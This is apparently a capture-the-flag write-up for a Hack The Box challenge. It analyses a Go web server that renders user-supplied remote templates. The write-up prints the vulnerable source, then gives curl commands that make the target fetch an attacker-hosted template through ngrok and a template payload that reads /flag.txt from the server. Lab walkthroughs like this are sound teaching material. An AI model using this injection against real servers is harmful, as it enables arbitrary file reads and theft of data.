GhostlyTemplates
4 minutes to read
We are given the following website:
We also have the Go source code of the server.
Source code analysis
The relevant file is main.go
, which is a bit long:
package main
import (
"encoding/json"
"fmt"
"html/template"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)
const WEB_PORT = "1337"
const TEMPLATE_DIR = "./templates"
type LocationInfo struct {
Status string `json:"status"`
Country string `json:"country"`
CountryCode string `json:"countryCode"`
Region string `json:"region"`
RegionName string `json:"regionName"`
City string `json:"city"`
Zip string `json:"zip"`
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
Timezone string `json:"timezone"`
ISP string `json:"isp"`
Org string `json:"org"`
AS string `json:"as"`
Query string `json:"query"`
}
type MachineInfo struct {
Hostname string
OS string
KernelVersion string
Memory string
}
type RequestData struct {
ClientIP string
ClientUA string
ServerInfo MachineInfo
ClientIpInfo LocationInfo `json:"location"`
}
func GetServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
func (p RequestData) GetLocationInfo(endpointURL string) (*LocationInfo, error) {
resp, err := http.Get(endpointURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("HTTP request failed with status code: %d", resp.StatusCode)
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
var locationInfo LocationInfo
if err := json.Unmarshal(body, &locationInfo); err != nil {
return nil, err
}
return &locationInfo, nil
}
func (p RequestData) IsSubdirectory(basePath, path string) bool {
rel, err := filepath.Rel(basePath, path)
if err != nil {
return false
}
return !strings.HasPrefix(rel, ".."+string(filepath.Separator))
}
func (p RequestData) OutFileContents(filePath string) string {
data, err := os.ReadFile(filePath)
if err != nil {
return err.Error()
}
return string(data)
}
func readRemoteFile(url string) (string, error) {
response, err := http.Get(url)
if err != nil {
return "", err
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP request failed with status code: %d", response.StatusCode)
}
content, err := io.ReadAll(response.Body)
if err != nil {
return "", err
}
return string(content), nil
}
func getIndex(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "/view?page=index.tpl", http.StatusMovedPermanently)
}
func getTpl(w http.ResponseWriter, r *http.Request) {
var page string = r.URL.Query().Get("page")
var remote string = r.URL.Query().Get("remote")
if page == "" {
http.Error(w, "Missing required parameters", http.StatusBadRequest)
return
}
reqData := &RequestData{}
userIPCookie, err := r.Cookie("user_ip")
clientIP := ""
if err == nil {
clientIP = userIPCookie.Value
} else {
clientIP = strings.Split(r.RemoteAddr, ":")[0]
}
userAgent := r.Header.Get("User-Agent")
locationInfo, err := reqData.GetLocationInfo("https://freeipapi.com/api/json/" + clientIP)
if err != nil {
http.Error(w, "Could not fetch IP location info", http.StatusInternalServerError)
return
}
reqData.ClientIP = clientIP
reqData.ClientUA = userAgent
reqData.ClientIpInfo = *locationInfo
reqData.ServerInfo.Hostname = GetServerInfo("hostname")
reqData.ServerInfo.OS = GetServerInfo("cat /etc/os-release | grep PRETTY_NAME | cut -d '\"' -f 2")
reqData.ServerInfo.KernelVersion = GetServerInfo("uname -r")
reqData.ServerInfo.Memory = GetServerInfo("free -h | awk '/^Mem/{print $2}'")
var tmplFile string
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
if !reqData.IsSubdirectory("./", TEMPLATE_DIR+"/"+page) {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
tmplFile = reqData.OutFileContents(TEMPLATE_DIR + "/" + page)
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", getIndex)
mux.HandleFunc("/view", getTpl)
mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
fmt.Println("Server started at port " + WEB_PORT)
http.ListenAndServe(":"+WEB_PORT, mux)
}
The main
function shows the available endpoints. The relevant one is /view
, which allows us to render local and remote templates.
Having the ability to control server-side templates is not secure, because template engines provide some funcionalities to interact with the server code. In this context, we can (kind of) execute Go code.
One function that looks promising is GetServerInfo
:
func GetServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
It executes an arbitrary system command. However, we can’t use it directly from a template. The only functions allowed are methods implemented by a RequestData
object because of how the template is executed:
err = tmpl.Execute(w, reqData)
Solution
For instance, we can use the following to see if it works:
{{ . }}
{{ .ClientUA }}
{{ .ServerInfo.Hostname }}
After setting up ngrok
and a Python HTTP server, we will get this result:
$ curl '94.237.51.75:31062/view?page=https://abcd-12-34-56-78.ngrok-free.app/solve.tpl&remote=true'
{10.30.18.78 curl/8.7.1 {ng-532274-webghostlytemplatesmp-wfngu-9f5b87674-9sgwt
Alpine Linux v3.18
6.1.0-10-amd64
7.7G
} { - - 0 0 - }}
curl/8.7.1
ng-532274-webghostlytemplatesmp-wfngu-9f5b87674-9sgwt
So, we see that we are using the template correctly. In order to get the flag, instead of using GetServerInfo
, we can use OutFileContents
, because it is implemented by RequestData
objects:
func (p RequestData) OutFileContents(filePath string) string {
data, err := os.ReadFile(filePath)
if err != nil {
return err.Error()
}
return string(data)
}
So, we can use this template to read the flag:
{{ .OutFileContents "/flag.txt" }}
Flag
The above template payload will give us the flag:
$ curl '94.237.51.75:31062/view?page=https://abcd-12-34-56-78.ngrok-free.app/solve.tpl&remote=true'
HTB{t3mpl14t35_c4us3_p41n_4nd_f1l35_1nclud3s!}